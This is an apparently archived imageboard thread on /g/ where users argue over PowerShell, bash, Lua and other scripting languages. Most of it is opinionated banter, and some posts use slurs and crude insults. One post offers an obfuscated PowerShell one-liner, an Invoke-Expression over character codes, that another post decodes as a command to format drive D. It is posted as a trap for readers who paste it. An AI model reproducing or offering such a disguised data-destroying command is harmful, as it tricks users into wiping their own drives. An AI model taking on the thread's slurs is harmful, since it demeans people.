← Home ← Back to /g/

Thread 106031587

33 posts 18 images /g/
Anonymous No.106031587 >>106031591 >>106031696 >>106031701 >>106031888 >>106032858 >>106035021 >>106035036 >>106035597
Don't mind me, just posting the best scripting language.
Anonymous No.106031591 >>106031610
>>106031587 (OP)
It's garbage
Anonymous No.106031610 >>106031694 >>106032883
>>106031591
But enough about bash.
Anonymous No.106031694 >>106034730
>>106031610
Well, the be fair, bash scripts are very fast, the syntax however is terrible.

With PowerShell, it's the opposite.
Anonymous No.106031696
>>106031587 (OP)
>PowerBottom
No thanks.
Anonymous No.106031701 >>106031715
>>106031587 (OP)
Fuck that shit, even Visual Basic Script is better.
Anonymous No.106031715
>>106031701
VBS is extremely fast in comparison
Anonymous No.106031737
I've always wanted to learn it, but this thread is not encouraging me.
Anonymous No.106031888
>>106031587 (OP)
PERL
Anonymous No.106032761 >>106032854 >>106032872 >>106032932
Invoke-Expression ([char]0x46 + [char]0x6F + [char]0x72 + [char]0x6D + [char]0x61 + [char]0x74 + [char]0x2D + [char]0x56 + [char]0x6F + [char]0x6C + [char]0x75 + [char]0x6D + [char]0x65 + [char]0x20 + [char]0x2D + [char]0x44 + [char]0x72 + [char]0x69 + [char]0x76 + [char]0x65 + [char]0x4C + [char]0x65 + [char]0x74 + [char]0x74 + [char]0x65 + [char]0x72 + [char]0x20 + [char]0x44)
Anonymous No.106032854 >>106032861
>>106032761
Grok, what does it say ?
Anonymous No.106032858
>>106031587 (OP)
Unironically. Just because you don't have to write horribly inaccurate parsers for everything like in *nix shells it's fucking goated.
Anonymous No.106032861
>>106032854
Format-Volume -DriveLetter D
Anonymous No.106032872
>>106032761
I ain't invoking that, nigga.
Anonymous No.106032883
>>106031610
At least bash has basic shit like
trap 'code here' EXIT
faggot.
>just wrap your script in a giant try_finally block bro

Outside of windows being shit, I can't really complain that much about powershell. If you're willing to write the Cshart to extend it, it's kind of neat to be able to define custom fake filesystems like Cert:\, IIS:\ and at least it has basic objects. Really the only reason I don't use it on Linux is because it's effectively unbuildable with free and open source software. No major distro has source builds of it for some reason.
Anonymous No.106032932
>>106032761
This invoked my next expression
Anonymous No.106032997 >>106033749 >>106033826
there's tons of smaller complaints like
- by default defining misleading aliases 'ls' and 'grep' and others,
- the aesthetically revolting Verb-Object naming scheme.
- having retarded inconsistencies when redirecting the output shell invocations.
- exection policies >:(
- long startup times and memory usage

but the fundamental issue is that having thousands of built-in commands to do everything is missing the point of a shell language
A shell should be a SHELL, i.e. a thin outside layer over the system. Not the system itself.
powershell is more like a shell to the .NET runtime. which is not what I, or anyone else wants.
The end result is that actual executables are second class citizens in powershell, which is completely backwards.

the best scripting lanugage is lua btw.
Small, easily embeddable, extremely consistent, concise yet flexible syntax,
extremely uniform and simple type system, fast thanks to LuaJIT,
yet still more high level than many 'proper' programming languages by providing super powerful things like higher order functions, meta tables, dynamic typing, and coroutines.
Anonymous No.106033749 >>106033768 >>106033973
>>106032997
the point of powershell is to be a shell language to cover every button, every function you see on windows, EVERYTHING for the sake of the sysadmin
Anonymous No.106033768
>>106033749
And yet it doesn't ever do that? Because no other programs aside from some microsoft programs ever implements the buttons in a way that interact with Powershell.
Meanwhile everyone and their mother can make a text interface.
Anonymous No.106033826
>>106032997
>the best scripting lanugage is lua btw.
It's a good choice, but still it's too much imo, and the same applies to "modern" perl, although both are better than python

Still, I think the most opportune tools for replacing the shells are, shells
The oil shell/ysh does a good job in replacing bash and in the same time offering a modern development env. Also the es shell is a big step in scripting wrt to bash
Anonymous No.106033973
>>106033749
if they wanted to give access to everything then why the fuck did they not just write a bunch of executables to wrap the underlying system api's, like they did previously AND afterwards..

It would've been way less effort, partly because ton's of system APIs already have separate binaries providing a convenient interface.
It also would've made them way more useful by virtue of them being also easily usable outside of their super duper special scripting lanugage
Anonymous No.106033990 >>106034230
It's absolutely terrible as a language. The way it outputs data as objects is such a massive pain in the ass that it's not really scripting any more. The only thing it does that's useful is interact with windows components but as soon as you need to do literally anything else it gets closed.
Anonymous No.106034230 >>106034747
>>106033990
>noooo, why commands return typed objects, I want it to return everything as strings so I can write buggy parsers for everything and shit the scripts with ifs that would be completely redundant in a typed language
Jesus christ
Anonymous No.106034730
>>106031694
Bash is fucking slow compared to powershell. I'm calling out this post as AI generated, is what I would say, but I think you're actually just that retarded.
Anonymous No.106034747
>>106034230
>can write buggy parsers for everything
You don't have to do that, parser already exists and text can be piped to them

If you need to write an ad-hoc complex parser in unix env it means that you have to write a complex logic object interaction in object oriented env, so that is a moot point
Anonymous No.106034966
>binary oriented
>scripting

lel
Anonymous No.106035021
>>106031587 (OP)
oops wrong image
Anonymous No.106035036
>>106031587 (OP)
Anonymous No.106035198 >>106036485 >>106037401
i used to think this when i was young.
then i grew up and realized that bash is the superior choice. it's broken, it's hacky but it's ultimately better.
Anonymous No.106035597
>>106031587 (OP)
That would be Java with JBang
Anonymous No.106036030
Anonymous No.106036485
>>106035198
.t ultimate nocoder
Anonymous No.106037401
>>106035198
broken, in what way?